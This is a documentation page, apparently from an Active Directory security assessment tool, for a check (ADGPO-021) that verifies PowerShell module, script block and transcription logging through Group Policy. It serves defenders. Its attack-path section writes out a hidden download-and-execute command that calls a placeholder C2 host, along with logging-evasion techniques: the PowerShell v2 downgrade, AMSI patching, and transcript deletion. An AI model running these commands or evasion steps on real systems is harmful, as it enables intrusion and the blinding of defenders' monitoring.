ADGPO-021: Configuración del registro de PowerShell
- Plataforma
- Active Directory
- Categoría
- AD Group Policy
- Severidad
- High
- Pilar de Zero Trust
- Governance (peso 2)
- Fixtures de referencia
- 3
- Cobertura de ramas
- Observada: los fixtures prueban los veredictos que ejercitan
- Procedencia
- baseline
Qué comprueba
El registro de módulos, el registro de bloques de script y la transcripción de PowerShell proporcionan una visibilidad crítica de los ataques basados en PowerShell, que se usan en la mayoría de los compromisos modernos de Active Directory. Sin estas capacidades de registro, los defensores no pueden detectar ni investigar el reconocimiento, el robo de credenciales o el movimiento lateral basados en PowerShell
Por qué importa
PowerShell is the lingua franca of modern Windows intrusions. The Mandiant M-Trends 2024 report attributes 21% of initial-access-to-impact dwell time reductions to defenders who had PowerShell Script Block Logging enabled before the intrusion started. Conversely, the FIN7, APT29, FIN12, Conti, BlackCat, and Akira playbooks all rely on PowerShell stages that are invisible to a Windows event log without these providers. Specifically: - Without Script Block Logging, an attacker who runs powershell.exe -EncodedCommand <base64> or -Command "IEX (New-Object Net.WebClient).DownloadString(\'http://...\')" produces only a 4688 process create for powershell.exe. The actual script content is never written to disk and never appears in any event log. Even AMSI scanning is best-effort: an attacker who patches AmsiScanBuffer in their own process suppresses AMSI but still triggers 4104 because Script Block Logging fires before AMSI in the engine pipeline. Script Block Logging is the only reliable record of what a PowerShell process actually executed. - Without Module Logging, defenders cannot see which cmdlets were invoked or with what parameters. A Get-ADUser -Filter * -Properties * that exfiltrates the entire directory leaves no record of the LDAP filter or the property set requested. A Send-MailMessage that exfiltrates a CSV leaves no record of the recipient or attachment. - Without Transcription, defenders have no record of interactive sessions: an operator who RDPs to a jump host and runs PowerShell commands by hand has no auditable record of what they typed or what the host printed back. Transcription is the only provider that captures visible output. - The Windows 10 / Server 2016 in-box PowerShell engine logs Script Block 4104 events for warning-level (suspicious) blocks by default even when the policy is disabled, but only for content the engine itself flags as suspicious. This default is a tripwire, not coverage: most legitimate-looking obfuscation (Invoke-Obfuscation token-level, base64+gzip, AST-rewriting) does not trigger the warning heuristic. Operators who rely on default behavior are blind to the majority of PowerShell tradecraft. - PowerShell v2 downgrade is a known evasion: if PowerShell 2.0 is present (Windows-PowerShell-V2 optional feature), an attacker runs powershell.exe -Version 2 and bypasses Script Block Logging, AMSI, and Module Logging entirely because the v2 engine does not implement the providers. ADGPO-021 is paired with ADGPO-022 (PowerShell v2 disabled) for full coverage. - The blast radius of disabled logging is the entire forest: every Domain Controller, every Tier-0 host, every privileged workstation that loses telemetry becomes a safe staging point for credential dumping (Invoke-Mimikatz, SafetyKatz), directory enumeration (PowerView, ADRecon), Kerberos abuse (Rubeus, Invoke-Kerberoast), and persistence (Add-DomainObjectAcl, New-DomainGroupMember).
Ruta de ataque
1. Reconnaissance: the attacker, with any authenticated domain user, queries the GPOs that apply to a target. Get-GPResultantSetOfPolicy on a compromised endpoint, or a remote Get-GPInheritance -Target $ouDN as a low-privilege user, reveals which GPOs link where. Parsing SYSVOL Registry.pol files anonymously is sometimes possible when ACLs are loose. 2. Identification of logging gaps: the attacker reads HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging\EnableScriptBlockLogging on the compromised host. If the value is 0 or missing, the host does not record script block events. The attacker also checks Get-WinEvent -ListLog Microsoft-Windows-PowerShell/Operational to confirm channel size and retention. 3. Tradecraft alignment: with logging confirmed off, the attacker drops to an in-memory PowerShell loader. Typical sequence: powershell.exe -nop -w hidden -enc <base64 of Invoke-Expression (New-Object Net.WebClient).DownloadString(http://c2/stage1.ps1)> The downloaded stage runs Invoke-Mimikatz, Get-NetUser -Spn for Kerberoast targets, and Invoke-Kerberoast, then exfiltrates hashes over the existing TLS session. None of this is logged. 4. PowerShell v2 downgrade: if Script Block Logging is enabled but PowerShell 2.0 is still present, the attacker pivots to powershell.exe -Version 2 -Command ... which the v2 engine executes without providers. The 4688 still shows powershell.exe, but no 4103, 4104, 4105, or 4106 fires. 5. Transcription bypass: if Transcription is enabled but the output directory ACL allows Authenticated Users to write, the attacker deletes or truncates the transcript file mid-session. If the path is on the local disk and the local Administrators group can delete, post-exploitation cleanup is trivial. If the path is a UNC, the attacker checks share ACLs and writes a junction or symlink to redirect. 6. AMSI sidestep: even with Script Block Logging on, an attacker who patches AmsiScanBuffer in-process suppresses AMSI-driven content scanning, but Script Block Logging still fires. The attacker mitigates by splitting payloads into many small script blocks (per-line IEX) which produces a large volume of low-signal 4104 events that overwhelm SIEM correlation. Defenders with proper retention and KQL/Sigma rules still catch this; defenders without 4104 see nothing. 7. Persistence: the attacker plants a WMI event consumer or Scheduled Task that runs powershell.exe with logging disabled or downgraded. Without 4103/4104, defenders see only the 4688 of powershell.exe at the persistence trigger and no record of what it did.
Cómo lo evalúa Guerrilla
Guerrilla calls Get-GPO -All -Domain $env:USERDNSDOMAIN, then for each GPO loads \\$domain\SYSVOL\$domain\Policies\{$gpoId}\Machine\Registry.pol with a parser based on the Microsoft GPRegistry binary format. Values under SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging, ScriptBlockLogging, and Transcription are extracted and normalized. For each provider, the check determines the linked scope of the GPO by reading the gPLink attribute on every OU, site, and the domain root. The check then computes coverage: which OUs (and therefore which computer accounts via Get-ADComputer -SearchBase) receive each provider with a passing configuration. Coverage gaps are flagged when the Domain Controllers OU, the Tier-0 OU, or more than 10% of computer accounts lack any one of the three providers. Transcript output directories are resolved and inspected with Get-Acl: a fail is reported when the path is missing, when Authenticated Users or Domain Users have Write or Modify, or when the path is on a local disk where the local Administrators group can delete. The check supplements GPO parsing with a remote registry read against a sample of computers (Get-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\..." via Invoke-Command with a Tier-0-safe runspace) to confirm the policy actually applied. The Windows PowerShell/Operational channel size is read via wevtutil gl Microsoft-Windows-PowerShell/Operational; a MaxSize below 1073741824 (1 GB) is flagged because high-volume hosts roll 4104 events within minutes at the default 15 MB.
Valor recomendado
Registro de módulos, registro de bloques de script y transcripción habilitados mediante GPO en todos los sistemas
Remediación
Configure las opciones de GPO en Configuración del equipo > Plantillas administrativas > Componentes de Windows > Windows PowerShell. Habilite el registro de módulos con '*' para registrar todos los módulos. Habilite el registro de bloques de script con 'Registrar eventos de inicio/detención de la invocación de bloques de script'. Habilite la transcripción de PowerShell con un directorio de salida seguro. Despliegue en todos los sistemas unidos al dominio y verifique la recopilación de registros.
Veredictos probados con fixtures
Cada veredicto de esta tabla está probado por un fixture de referencia en la suite de pruebas que valida el módulo. La tabla se deriva de la última ejecución en verde; no puede editarse a mano.
| Escenario | Veredicto esperado |
|---|---|
| known-bad | FAIL |
| logging-present | WARN |
| throttled | Not Assessed |
Mapeos a marcos de referencia
- NIST SP 800-53
- AU-2, AU-3, AU-12, SI-4
- MITRE ATT&CK
- T1059.001, T1562.002